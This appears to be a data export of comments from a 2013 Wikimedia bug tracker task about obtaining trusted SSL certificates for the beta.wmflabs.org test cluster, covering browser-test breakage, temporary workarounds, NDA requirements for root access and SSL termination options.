+227269,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,please don't forget about wikidata.beta.wmflabs.org,,,1381437836,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+227264,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Summary of IRC conversation:
+
+1. Remove projectadmin permissions from volunteers
+2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
+3. Buy * certs
+
+Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA.",,,1381437765,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+227260,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 merged by jenkins-bot:
+Labs: Turn off secure login on loginwiki due to untrusted SSL
+
+https://gerrit.wikimedia.org/r/87045",,,1381250687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227254,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #42)
+> (In reply to comment #40)
+> 
+> > I'm still not opposed to getting a proper cert, but that requires some
+> > infrastructure and permissions changes in deployment-prep...
+> 
+> Since we've been going around on this since May, what would be the next step
+> to
+> make that happen?
+
+Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta...",,,1380729147,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+227248,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #41)
+> (In reply to comment #29)
+> > There's also the option which had been discussed before: make a new labs
+> > project whose sole purpose would be to do SSL termination and would then
+> > relay
+> > to varnish.
+> > 
+> > Then *that* project would have the NDA req instead of the core beta project.
+> 
+> That's the dynamichttp proxy, which has been running silently for a while now
+> :)
+
+They want to have the same https infrastructure as production, which makes sense ;)",,,1380729060,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+227242,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #40)
+
+> I'm still not opposed to getting a proper cert, but that requires some
+> infrastructure and permissions changes in deployment-prep...
+
+Since we've been going around on this since May, what would be the next step to make that happen?",,,1380728062,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+227237,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #29)
+> There's also the option which had been discussed before: make a new labs
+> project whose sole purpose would be to do SSL termination and would then
+> relay
+> to varnish.
+> 
+> Then *that* project would have the NDA req instead of the core beta project.
+
+That's the dynamichttp proxy, which has been running silently for a while now :)",,,1380727770,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+227230,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?
+
+I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...",,,1380727437,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+227222,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
+> But I can't find prefershttps in Preferences to turn that off.
+
+So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  
+
+I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.
+
+This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers.",,,1380704544,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+227213,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 had a related patch set uploaded by Mattflaschen:
+Labs: Turn off secure login on loginwiki due to untrusted SSL
+
+https://gerrit.wikimedia.org/r/87045",,,1380704074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227207,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.
+
+I would do it myself if I had access to the 'Labs CA'.",,,1380701912,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+227200,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #35)
+> (In reply to comment #33)
+> > (In reply to comment #32)
+> > > (In reply to comment #19)
+> > > > For those playing along at home: The Beta Cluster currently does not have
+> > > > https by default turned on for this very reason (it broke browser tests).
+> > > 
+> > > This is no longer the case.
+> > 
+> > Correction: it's enabled by default, but only for logged in users.
+> > 
+> > But I can't find prefershttps in Preferences to turn that off.
+> 
+> This means, for instance, that VisualEditor is entirely untestable on Beta
+> Labs. Yay fun. :-(
+
+That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 
+
+What does not work on beta labs without a real SSL cert are: 
+
+* tests for IE10 are busted : https://saucelabs.com/jobs/a29bcd975ac6483195b3bd56a64fec6a
+
+* having to visit https://bits.beta.wmflabs.org manually over and over again to get styling to work in every browser is a drag",,,1380665184,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+227193,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
+> (In reply to comment #32)
+> > (In reply to comment #19)
+> > > For those playing along at home: The Beta Cluster currently does not have
+> > > https by default turned on for this very reason (it broke browser tests).
+> > 
+> > This is no longer the case.
+> 
+> Correction: it's enabled by default, but only for logged in users.
+> 
+> But I can't find prefershttps in Preferences to turn that off.
+
+This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-(",,,1380657576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+227189,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem.",,,1380641833,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+227184,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #32)
+> (In reply to comment #19)
+> > For those playing along at home: The Beta Cluster currently does not have
+> > https by default turned on for this very reason (it broke browser tests).
+> 
+> This is no longer the case.
+
+Correction: it's enabled by default, but only for logged in users.
+
+But I can't find prefershttps in Preferences to turn that off.",,,1380587930,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+227179,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #19)
+> For those playing along at home: The Beta Cluster currently does not have
+> https by default turned on for this very reason (it broke browser tests).
+
+This is no longer the case.
+
+(In reply to comment #24)
+> Let's deploy SSL either correctly or not-at-all to beta.
+
+Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.
+
+Of course, fixing it properly with a valid cert is best.",,,1380587514,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,13,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+227174,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 
+
+It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor.",,,1379432509,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227169,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects.",,,1377728033,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227164,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.
+
+Then *that* project would have the NDA req instead of the core beta project.",,,1377727232,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+227158,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
+> As I've mentioned in the past, I'm totally fine with getting an SSL cert for
+> beta, assuming we ensure every project member in deployment-prep has a signed
+> NDA.
+> 
+> In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll
+> be
+> able to drop the NDA requirement (and the SSL cert) once we have that.
+
+Not every deployment-prep member is capable of signing an NDA anyway.",,,1377726168,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+227151,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots...",,,1377725772,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+227143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
+> In the future Yuvi's proxy will handle load balancing, HTTPS and such.
+> We'll able to drop the NDA requirement (and the SSL cert) once we have that.
+
+I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends.",,,1377725574,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+227135,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.
+
+As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.
+
+In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that.",,,1377724502,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta.",,,1377721482,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+227119,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs.",,,1377721422,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+227116,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.,,,1377718091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+227113,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...,,,1377717965,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+227109,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mostly it makes using beta labs manually a real hassle.,,,1377716121,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+227104,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).,,,1377713093,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227098,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease.",,,1377712492,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+227094,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's no interface with firefox, either. The workaround is to manually go to https://bits.beta.wmflabs.org/ and accept the certificate there.",,,1377088410,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227089,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.,,,1377084434,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+227083,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded.",,,1377078117,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+227075,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 46621 has been marked as a duplicate of this bug. ***,,,1377077926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227069,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 49533 has been marked as a duplicate of this bug. ***,,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227063,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 53113 has been marked as a duplicate of this bug. ***,,,1377028391,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
